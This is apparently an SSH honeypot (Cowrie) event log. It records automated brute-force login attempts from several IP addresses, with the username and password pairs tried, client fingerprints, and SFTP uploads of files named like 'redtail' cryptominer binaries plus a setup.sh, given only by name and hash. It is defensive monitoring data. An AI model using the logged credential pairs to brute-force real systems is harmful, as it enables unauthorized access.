{"eventid":"cowrie.session.file_upload","filename":"redtail.i686","outfile":"var/lib/cowrie/downloads/048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7","shasum":"048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7","message":"SFTP Uploaded file \"redtail.i686\" to var/lib/cowrie/downloads/048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:10:20.146754Z","src_ip":"130.12.180.51","session":"f7f3b67feeb1","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.x86_64","outfile":"var/lib/cowrie/downloads/59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5","shasum":"59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5","message":"SFTP Uploaded file \"redtail.x86_64\" to var/lib/cowrie/downloads/59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:10:20.158191Z","src_ip":"130.12.180.51","session":"f7f3b67feeb1","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"setup.sh","outfile":"var/lib/cowrie/downloads/783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59","shasum":"783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59","message":"SFTP Uploaded file \"setup.sh\" to var/lib/cowrie/downloads/783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:10:20.162258Z","src_ip":"130.12.180.51","session":"f7f3b67feeb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.3","message":"Connection lost after 18.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:10:20.253953Z","src_ip":"130.12.180.51","session":"f7f3b67feeb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.254.168","src_port":57792,"dst_ip":"10.17.0.5","dst_port":22,"session":"d93cc83fbb97","protocol":"ssh","message":"New connection: 103.153.254.168:57792 (10.17.0.5:22) [session: d93cc83fbb97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:11:51.427469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:11:51.440728Z","src_ip":"103.153.254.168","session":"d93cc83fbb97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:11:51.700487Z","src_ip":"103.153.254.168","session":"d93cc83fbb97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost123","message":"login attempt [ghost/ghost123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:11:52.749925Z","src_ip":"103.153.254.168","session":"d93cc83fbb97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:11:54.018178Z","src_ip":"103.153.254.168","session":"d93cc83fbb97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":35194,"dst_ip":"10.17.0.5","dst_port":22,"session":"260e832d9e36","protocol":"ssh","message":"New connection: 92.118.39.56:35194 (10.17.0.5:22) [session: 260e832d9e36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:12:18.819558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:12:18.828065Z","src_ip":"92.118.39.56","session":"260e832d9e36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:12:18.923761Z","src_ip":"92.118.39.56","session":"260e832d9e36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:12:19.338845Z","src_ip":"92.118.39.56","session":"260e832d9e36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:12:20.482009Z","src_ip":"92.118.39.56","session":"260e832d9e36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.30.211","src_port":35100,"dst_ip":"10.17.0.5","dst_port":22,"session":"ced6b3c0d2b2","protocol":"ssh","message":"New connection: 159.65.30.211:35100 (10.17.0.5:22) [session: ced6b3c0d2b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:13:35.098388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:13:35.102599Z","src_ip":"159.65.30.211","session":"ced6b3c0d2b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:13:35.171610Z","src_ip":"159.65.30.211","session":"ced6b3c0d2b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"compound","password":"compound1","message":"login attempt [compound/compound1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:13:35.311962Z","src_ip":"159.65.30.211","session":"ced6b3c0d2b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:13:36.382467Z","src_ip":"159.65.30.211","session":"ced6b3c0d2b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.254.168","src_port":37720,"dst_ip":"10.17.0.5","dst_port":22,"session":"89be35c5b1b5","protocol":"ssh","message":"New connection: 103.153.254.168:37720 (10.17.0.5:22) [session: 89be35c5b1b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:13:51.998687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:13:52.002682Z","src_ip":"103.153.254.168","session":"89be35c5b1b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:13:52.298658Z","src_ip":"103.153.254.168","session":"89be35c5b1b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kapsch","password":"Kapsch123!","message":"login attempt [kapsch/Kapsch123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:13:53.487221Z","src_ip":"103.153.254.168","session":"89be35c5b1b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:13:54.777296Z","src_ip":"103.153.254.168","session":"89be35c5b1b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.115","src_port":40042,"dst_ip":"10.17.0.5","dst_port":22,"session":"a66762ab6113","protocol":"ssh","message":"New connection: 80.94.95.115:40042 (10.17.0.5:22) [session: a66762ab6113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:13:56.025765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:13:57.363555Z","src_ip":"80.94.95.115","session":"a66762ab6113","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:13:57.512202Z","src_ip":"80.94.95.115","session":"a66762ab6113","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:13:58.238877Z","src_ip":"80.94.95.115","session":"a66762ab6113","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:13:59.347060Z","src_ip":"80.94.95.115","session":"a66762ab6113","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.181.101.111","src_port":46194,"dst_ip":"10.17.0.5","dst_port":22,"session":"83b919c6190e","protocol":"ssh","message":"New connection: 135.181.101.111:46194 (10.17.0.5:22) [session: 83b919c6190e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:14:24.479179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:14:24.483634Z","src_ip":"135.181.101.111","session":"83b919c6190e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:14:24.591466Z","src_ip":"135.181.101.111","session":"83b919c6190e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"publickeys","password":"publickeys2017!","message":"login attempt [publickeys/publickeys2017!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:14:24.810181Z","src_ip":"135.181.101.111","session":"83b919c6190e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":46220,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b8676583054","protocol":"ssh","message":"New connection: 92.118.39.56:46220 (10.17.0.5:22) [session: 8b8676583054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:14:25.593896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:14:25.637490Z","src_ip":"92.118.39.56","session":"8b8676583054","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:14:25.747504Z","src_ip":"92.118.39.56","session":"8b8676583054","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:14:25.919601Z","src_ip":"135.181.101.111","session":"83b919c6190e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:14:26.446147Z","src_ip":"92.118.39.56","session":"8b8676583054","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:14:27.551115Z","src_ip":"92.118.39.56","session":"8b8676583054","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.254.168","src_port":45878,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf8bb84f2a81","protocol":"ssh","message":"New connection: 103.153.254.168:45878 (10.17.0.5:22) [session: cf8bb84f2a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:15:51.464674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:15:51.469077Z","src_ip":"103.153.254.168","session":"cf8bb84f2a81","protocol":"ssh"}
